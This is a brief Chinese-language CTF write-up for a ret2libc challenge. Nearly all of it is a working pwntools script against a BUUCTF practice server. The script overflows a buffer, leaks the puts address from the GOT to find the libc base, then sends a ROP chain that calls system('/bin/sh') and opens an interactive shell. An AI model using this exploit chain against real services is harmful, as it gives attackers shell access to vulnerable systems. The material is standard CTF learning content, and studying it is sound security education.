ret2libc
思路
两次输入,第一次根据puts等打印函数打印出的真实地址算出基地址,第二次根据基地址算getshell会用到的真实地址
from pwn import*
e = ELF('./pwn') #调用目标文件的elf文件
libc = ELF('./libc-2.31.so') #调用libc版本文件
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main'] #symbols是打印函数
r= remote('node5.buuoj.cn',27205)
pop_rdi_ret = 0x0000000000400753
ret = 0x000000000040050e
offset = 40
payload =b'a'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recvuntil('time?')
r.sendline(payload)
r.recvuntil('you!\n')
puts_addr = u64(r.recv(6).ljust(8,b'\x00')) #将获得的数据解包
print(hex(puts_addr)) #以十六进制输出
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search(b'/bin/sh\x00').next( )
base_addr = puts_addr - puts_offset
system_addr = base_addr + system_offset #计算地址
binsh_addr = base_addr + binsh_offset
payload2 = b'a' *offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr) #ret用来平衡栈
r.recvuntil('time?')
r.sendline(payload2)
r.interactive()